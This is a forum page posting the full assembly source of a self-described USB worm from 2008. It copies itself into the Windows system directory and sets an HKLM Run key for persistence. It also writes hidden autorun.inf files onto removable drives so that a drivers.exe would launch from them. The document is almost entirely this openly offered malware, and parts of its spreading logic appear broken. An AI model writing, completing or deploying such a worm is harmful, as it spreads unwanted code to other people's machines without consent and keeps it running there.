illuZ1oN's USB Worm - Source Code - Rohitab - Forums

;  W32/USB<span class="searchlite">Worm</span> - illuz1oN 2008
; Spreads using usb's!
; Copyright illuz1oN 2008
; h4ck-y0u.org
; Compile with FASM!!

include "H:\Liam\FASM\INCLUDE\WIN32AX.inc"

.data
    iMutex db 'USB <span class="searchlite">Worm</span>, illuz1oN', 0
    regKey db '<span class="searchlite">Worm</span>zorz', 0
    regPth db 'software\Microsoft\Windows\CurrentVersion\Run',0
    newExe db 'drivers.exe', 0
    msgTit db 'illuz1oN USB <span class="searchlite">Worm</span>!', 0
    msgbox db 'This <span class="searchlite">worm</span> Has Spread to: ', 0
    sysName db 'illuz.exe', 0
    autoInf db 'autorun.inf', 0
    autoRun db '[autorun]', 0
    drv1 db 'A:\', 0
    drv2 db 'U:\', 0
    drv3 db 'H:\', 0
    drv4 db 'G:\', 0
    inf1 db 'A:\autorun.inf', 0
    inf2 db 'U:\autorun.inf', 0
    inf3 db 'H:\autorun.inf', 0
    inf4 db 'G:\autorun.inf', 0
    sysPath rb 256d
    myPath rb 256d
    reg dd ?

.code
wootwoot:
    mov byte [autoRun+10d], 13d
    mov byte [autoRun+11d], 10d
    mov dword [autoRun+12d], 'open'
    mov dword [autoRun+16d], '=dri'
    mov dword [autoRun+20d], 'vers'
    mov dword [autoRun+24d], '.exe'
    push 256d
    push myPath
    push 0
    call [GetModuleFileName]
    push 256d
    push sysPath
    call [GetSystemDirectory]
    push sysPath
    push sysName
    call [lstrcat]
    push 0
    push sysPath
    push myPath
    call [CopyFile]
    push reg
    push KEY_ALL_ACCESS
    push regPth
    push HKEY_LOCAL_MACHINE
    call [RegOpenKeyEx]
    cmp eax,0
    je exitwoot
    push sysPath
    call [lstrlen]
    cmp eax,0
    je exitwoot
    push eax
    push sysPath
    push REG_SZ
    push regKey
    push reg
    call [RegSetValueEx]
    call checkdrive

checkdrive:
    push drv1
    call [GetDriveType]
    cmp eax,DRIVE_REMOVABLE
    je spread1
    xor eax,eax
    push drv2
    call [GetDriveType]
    cmp eax,DRIVE_REMOVABLE
    je spread2
    xor eax,eax
    push drv3
    call [GetDriveType]
    cmp eax,DRIVE_REMOVABLE
    je spread3
    xor eax,eax
    push drv4
    call [GetDriveType]
    cmp eax,DRIVE_REMOVABLE
    je spread4
    call exitwoot

spread1:
    mov dword [drv1+3d], newExe
    push 0
    push FILE_ATTRIBUTE_HIDDEN
    push CREATE_ALWAYS
    push 0
    push 0
    push inf1
    call [CreateFile]
    mov ebx, eax
    push autoRun
    call [lstrlen]
    push 0
    push 0
    push eax
    push autoRun
    push ebx
    call [WriteFile]
    push ebx
    call [CloseHandle]
    xor ebx,ebx
    xor eax,eax

spread2:
    mov dword [drv2+3d], newExe
    push 0
    push FILE_ATTRIBUTE_HIDDEN
    push CREATE_ALWAYS
    push 0
    push 0
    push inf2
    call [CreateFile]
    mov ebx, eax
    push autoRun
    call [lstrlen]
    push 0
    push 0
    push eax
    push autoRun
    push ebx
    call [WriteFile]
    push ebx
    call [CloseHandle]
    xor ebx,ebx
    xor eax,eax

spread3:
    mov dword [drv3+3d], newExe
    push 0
    push FILE_ATTRIBUTE_HIDDEN
    push CREATE_ALWAYS
    push 0
    push 0
    push inf3
    call [CreateFile]
    mov ebx, eax
    push autoRun
    call [lstrlen]
    push 0
    push 0
    push eax
    push autoRun
    push ebx
    call [WriteFile]
    push ebx
    call [CloseHandle]
    xor ebx,ebx
    xor eax,eax

spread4:
    mov dword [drv4+3d], newExe
    push 0
    push FILE_ATTRIBUTE_HIDDEN
    push CREATE_ALWAYS
    push 0
    push 0
    push inf4
    call [CreateFile]
    mov ebx, eax
    push autoRun
    call [lstrlen]
    push 0
    push 0
    push eax
    push autoRun
    push ebx
    call [WriteFile]
    push ebx
    call [CloseHandle]
    xor ebx,ebx
    xor eax,eax

exitwoot:
    xor eax,eax
    push 0
    call [ExitProcess]

.end wootwoot